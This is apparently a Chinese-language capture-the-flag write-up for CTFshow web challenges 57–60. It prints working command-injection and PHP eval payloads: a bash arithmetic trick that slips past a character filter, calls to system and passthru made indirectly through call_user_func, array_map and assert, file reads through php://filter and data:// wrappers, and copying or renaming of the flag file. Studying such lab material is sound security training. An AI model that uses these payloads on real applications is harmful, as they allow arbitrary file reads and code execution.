本篇文章介绍命令执行的另一种情况,CTFshow的Web57-60关的讲解解析;要想了解其它关卡可查看我以往的文章,感谢关注。

文章目录

    • Web57(新方法)
    • Web58(POST型)
      • 不可用函数
      • 可用函数
    • Web59
      • 第二种方法:
      • 第三种方法:
      • 第四种方法:
    • Web60
      • 其他方法:
    • 总结


Web57(新方法)

还是老样子,先看代码:

<?php// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){system("cat ".$c.".php");}
}else{highlight_file(__FILE__);
}

看到代码,可以想到的第一思路:

  1. 首先肯定还是通过[@-[] 等来匹配flag.php文件
  2. 其次我们看到system("cat ".$c.".php"); ,知道我们传入的参数是否可以只匹配flag,而不用写其他部分?

但是正则表达又过滤了字母和数字,这又该如何弄?
这里我尝试过通过Web55关的条件竞争方法,发现无法成功:

在这里插入图片描述

没有办法,只能参照别人的WP(本人菜鸡,唉~):

我们根据题目知道flag in 36.php里,所以我们的想法就是如何构造数字36

  • 知识点:

  • 要通过 $(()) 来表示 36,你需要利用 Shell 的算术扩展特性。在 Bash 中,$((...)) 是一个算术扩展命令,它可以进行数学运算

  • 通过(())操作构造出36:‘(())操作构造出36: `(())操作构造出36(())` :代表做一次运算,因为里面为空,也表示值为0

    • $(( ~$(()) )) :对0作取反运算,值为-1

    • $(( $((~$(()))) $((~$(()))) )): -1-1,也就是(-1)+(-1)为-2,所以值为-2

    • $(( ~$(( $((~$(()))) $((~$(()))) )) )) :再对-2做一次取反得到1,所以值为1

故我们在(((( ~(( (( )) ))里面放37个((((~(( (()))),得到-37,取反即可得到36:

所以payload为:

$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))

再对其进行取反得到 36

$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

在这里插入图片描述
(第一次遇到,没想到也不用气馁)


Web58(POST型)

还是老样子,先观察代码:

<?php// 你们在炫技吗?
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
}

惊喜吧,一看题目,小笔噶,那肯定是没啥难度;
换了个请求方式而已,但是尝试后发现不简单:

# 这里尝试几个简单payload,发现竟然都被过滤了?
c=echo shell_exec('cat flag.php');
c=system(ls);

在这里插入图片描述

然后我尝试了一下,发现被过滤的函数有:

echo shell_exec();
echo exec();
system();
passthru()

他们常见用法,简单展示下:

不可用函数

system()exec() 这类常见的命令执行函数被禁用时,攻击者会转而使用其他函数来间接执行命令。

  1. shell_exec() 与反引号 shell_exec() 和反引号 的作用相同,它们都执行 Shell 命令并返回所有输出,但不会直接打印到页面上。你需要使用 echo 来显示其结果。

    • Payload (使用 shell_exec): c=echo shell_exec(‘whoami’);

    • Payload (使用反引号): c=echo whoami;

  2. passthru()
    passthru() 函数的作用是执行外部命令并直接将原始输出传递给浏览器。它不返回任何值,因此无需使用 echo。

    • Payload: c=passthru(‘whoami’);
  3. call_user_func()array_map()
    这些函数可以调用一个以字符串形式给出的函数名。这是一种非常常见的绕过方式,因为它们本身不是命令执行函数。

    • Payload (使用 call_user_func): c=call_user_func(‘system’, ‘ls -al’);

    • Payload (使用 array_map): c=array_map(‘passthru’, array(‘ls -al’));

  4. assert()
    旧版本的 PHP 中(PHP 7.0 之前),assert() 函数可以执行一个字符串中的代码。它常被用作 eval() 的替代品。

    • Payload: c=assert(‘system(“ls -al”);’);

可用函数

然后发现show_source()等函数也可以使用:具体使用看这篇博客:

无需命令执行的利用方法
如果所有的命令执行函数(如 system、exec、shell_exec、passthru 等)都被禁用,你仍然可以通过文件操作函数来读取敏感文件,例如 flag.php。

  1. file_get_contents()
    这个函数可以读取文件的全部内容并将其作为一个字符串返回。

Payload: c=echo file_get_contents(‘flag.php’);

  1. readfile()
    这个函数会直接读取文件并将其内容输出到页面,非常适合用于读取文本文件。

Payload: c=readfile(‘flag.php’);

  1. highlight_file()
    highlight_file() 函数会显示一个文件的内容,并高亮显示其中的 PHP 语法,这对于查看代码非常有用。

Payload: c=highlight_file(‘flag.php’);

总结:

# payload
c=echo file_get_contents('flag.php');
c=readfile('flag.php');
c=highlight_file('flag.php');

结果显示:
在这里插入图片描述

# payload
c=show_source(next(array_reverse(scandir(pos(localeconv())))));
c=echo file_get_contents('flag.php');	
c=readfile('flag.php');
c=highlight_file('flag.php');
# 新payload
c=print_r(file("flag.php"));     

Web59

<?php// 你们在炫技吗?
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
}

尝试上关的payload后,发现也过滤了不少函数:file_get_contents(),readfile(),highlight_file()

# payload
c=show_source(next(array_reverse(scandir(pos(localeconv())))));

除此之外,还有哪些方法?


第二种方法:

可以直接将 php 代码传给 eval 函数让其执行,构造 payload:

# 伪协议
c=include("php://filter/convert.iconv.utf8.utf16/resource=flag.php");
c=include "data://text/plain,<?php show_source('flag.php'); ?>";# POST传参
c=include($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php

在这里插入图片描述

第三种方法:

还是用老方法,cp到新文件,然后访问:
在这里插入图片描述

c=copy("flag.php","out1.txt");

第四种方法:

rename 函数:

  • 通过将 flag.php 重命名为 txt 文件,之后直接访问读取,和上面的 copy 差不多
c=rename("flag.php","out2.txt");

题目变化还是多种多样的;


Web60

老样子,变化不大:

<?php// 你们在炫技吗?
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
}

所以payload还是那样,直接上:

# 可用payload
c=show_source("flag.php");
c=show_source(next(array_reverse(scandir(pos(localeconv())))));# 伪协议
c=include("php://filter/convert.iconv.utf8.utf16/resource=flag.php");
c=include "data://text/plain,<?php show_source('flag.php'); ?>";# POST传参
c=include($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php

其他方法:

  • copy()函数:c=copy(“flag.php”,“out1.txt”);
  • rename 函数:c=rename(“flag.php”,“out2.txt”);

总结

明天给大家写一篇应急响应或者渗透测试的文章,等我今晚准备准备。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/web/94713.shtml
繁体地址,请注明出处:http://hk.pswp.cn/web/94713.shtml
英文地址,请注明出处:http://en.pswp.cn/web/94713.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

域名、ip、DSN、URL

目录 1、ip 2、域名 3、DSN 4、URL 1、ip 每个连接到Internet上的主机都会分配一个IP地址&#xff0c;此ip是该计算机在互联网上的逻辑地址的唯一标识&#xff0c;计算机之间的访问就是通过IP地址来进行的。写法&#xff1a;十进制的形式&#xff0c;用“.”分开&#xff0…

【JAVA实现websocket】

JAVA实现websocket背景依赖问题代码实现测试背景 近期项目中需要用到websocket&#xff0c;实现即时通信。 依赖 <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-websocket</artifactId></depen…

2.6 提示词调优编码实战(一)

目录 写在前面 一,需求定义 二,简单提示词 2.1 代码示例 2.2 输出结果 三,提示词模版 3.1 提示词 3.1.1 任务描述 3.1.2 用户输入 3.1.3 模型输出格式 3.1.4 Prompt模版 3.2 输出结果 写在前面 前面我们总结了提示词对于模型的意义,接下来我们来通过向模型输入…

使用Stone 3D快速制作第一人称视角在线小游戏

首先得有个怪物模型&#xff0c;怪物带有idle, attack动作 然后有个场景模型&#xff0c;把怪物&#xff08;如果模型较大&#xff0c;建议使用remote-mesh来加载&#xff09;摆放到想放的位置。 给相机加上fps-controls和character组件 给所有怪物加上character组件 可以在…

嵌入式第三十七课!!!TCP机制与HTTP协议

TCP的其他机制TCP头部标志位SYN&#xff1a;请求建立连接标志位 ACK&#xff1a;响应报文标志位 PSH&#xff1a;携带数据标志位&#xff0c;通知接收方该从缓冲区读数据 FIN&#xff1a; 请求断开连接标志位 RST&#xff1a;复位标志位 URG: 紧急数据标志…

【测试】pytest测试环境搭建

使用pytest进行API测试&#xff0c;vscode运行 创建虚拟环境&#xff0c;安装pytest&#xff0c;httpx&#xff0c;requests&#xff0c;dotenvvscode中ctrlshiftp&#xff0c;选择python: Configure Tests&#xff0c;选择pytest&#xff0c;目录左侧插件testing里面可以看到有…

javaweb开发笔记——微头条项目开发

第八章 微头条项目开发 一 项目简介 1.1 微头条业务简介 微头条新闻发布和浏览平台,主要包含业务如下 用户功能 注册功能 登录功能 头条新闻 新闻的分页浏览 通过标题关键字搜索新闻 查看新闻详情 新闻的修改和删除 权限控制 用户只能修改和自己发布的头条新闻 1.…

Linux(二十二)——服务器初始化指南

文章目录前言一、配置国内 Yum 源&#xff08;加速软件安装&#xff09;二、更新系统与安装必备工具三、网络连接验证四、配置主机名五、同步时间六、配置防火墙6.1 使用 iptables6.1.1 整体思路6.1.2 详细步骤6.1.3 完整配置脚本示例6.1.4 常用管理命令6.2 使用 firewalld总结…

我用Photoshop Firefly+Blender,拯救被环境毁掉的人像大片

今日阳光正好。这样的天气对于摄影师来说是种馈赠&#xff0c;但也让我想起了这个行业最普遍也最无奈的痛点&#xff1a;我们精心策划了一场拍摄&#xff0c;模特的表现、光线的质感都近乎完美&#xff0c;但最终却因为一个平淡的阴天、一处杂乱的背景&#xff0c;或是一个无法…

【线性代数】常见矩阵类型

目录 1. 方阵(Square Matrix) 2. 对称矩阵(Symmetric Matrix) 3. 反对称矩阵 / 斜对称矩阵(Skew-Symmetric Matrix) 4. 对角矩阵(Diagonal Matrix) 5. 三角矩阵 6. 正交矩阵(Orthogonal Matrix) 7. 幂等矩阵(Idempotent Matrix) 8. 正定矩阵 / 半正定矩阵 …

达梦数据库统计信息收集

达梦数据库统计信息收集 检查统计信息收集情况 如何手动收集统计信息 查看统计信息收集结果 统计信息手动收集策略 统计信息的自动收集 检查统计信息收集情况 检查最近一次统计信息收集时间: --表的最近一次统计信息收集时间 SQL> select owner,table_name,last_analyzed…

【目标检测】论文阅读4

Fast and accurate object detector for autonomous driving based on improved YOLOv5 发表时间&#xff1a;2023年&#xff1b;期刊&#xff1a;scientific reports 论文地址 摘要 自动驾驶是人工智能的一个重要分支&#xff0c;实时准确的目标检测是保证自动驾驶车辆安全稳…

wpf之DockPanel

前言 DockPanel是一个容器控件&#xff0c;容器中的子控件通过设置DockPanel.Dock属性来调整位置 1、DockPanel.Dock DockPanel.Dock的值有Left、Right、Top、Bottom 1.1 Left 指示控件靠左停靠 1.2 Right 指示控件靠右停靠 1.3 Top 指示控件靠上停靠 1.4 Bottom 指示…

解决VSCode中Cline插件的Git锁文件冲突问题

文章目录 问题现象 错误分析 解决方案 方法一:手动删除锁文件(推荐) 方法二:检查并终止Git进程 方法三:重置检查点目录 方法四:完全重新初始化 预防措施 总结 在使用VSCode进行开发时,许多开发者会选择安装Cline插件来提升工作效率。然而,在使用过程中,可能会遇到一些…

视频合成素材视频-多合一功能-青柠剪吧

剪辑繁琐耗时&#xff1f;这款工具正在改变创作者的日常。最近很多人都在用的剪辑神器&#xff0c;叫青柠剪吧。它尤其适合需要批量处理视频的朋友&#xff0c;内置40多项功能&#xff0c;从替换、分割到对齐、导出&#xff0c;基本覆盖了剪辑全流程。操作简单&#xff0c;哪怕…

未成功:使用 Nginx 搭建代理服务器(正向代理 HTTPS 网站)

下载 nginx: download 解压配置http 编译conf/nginx.conf http {server {listen 8080; # 代理服务器监听端口resolver 8.8.8.8; # DNS 解析器location / {proxy_pass $scheme://$host$request_uri; # 转发请求proxy_set_header Host $host;proxy_set_header X-Real-IP $…

【Python】新手入门:Python标准库有哪些常用模块?

🌈 个人主页:(时光煮雨) 🔥 高质量专栏:vulnhub靶机渗透测试 👈 希望得到您的订阅和支持~ 💡 创作高质量博文(平均质量分95+),分享更多关于网络安全、Python领域的优质内容!(希望得到您的关注~) 🌵文章目录🌵 前言 💡一、操作系统接口 📝二、文件通配符…

从双重检查锁定的设计意图、锁的作用、第一次检查提升性能的原理三个角度,详细拆解单例模式的逻辑

public class SFTPUtil {// 16 usages&#xff08;注释为截图中的使用统计&#xff0c;实际代码无需保留&#xff09;private static ChannelSftp sftp;// 6 usages&#xff08;注释为截图中的使用统计&#xff0c;实际代码无需保留&#xff09;private volatile static SFTPUt…

Win10部署ElasticSearch、Logstash、Kibana

一、本地部署 ElasticSearch 1、下载 Elasticsearch 安装包 点此下载 Elasticsearch 2、解压到指定目录 3、winR 输入 cmd&#xff0c;进入 Elasticsearch 安装目录运行 .bat 文件 4、浏览器输入 https://localhost:9200 &#xff0c;并进行身份验证 在 Elasticsearch 的 bi…

解决Visual Studio中UWP设计器无法显示的问题:需升级至Windows 11 24H2

一则清晰的错误提示&#xff0c;指明了前进的方向。近日&#xff0c;我在使用Visual Studio进行UWP应用开发时遇到了一个棘手问题——MainPage.xaml的设计视图无法正常显示&#xff0c;取而代之的是一个明确的系统提示。本文将详细分析这一问题及其解决方案。 问题现象 当在Vis…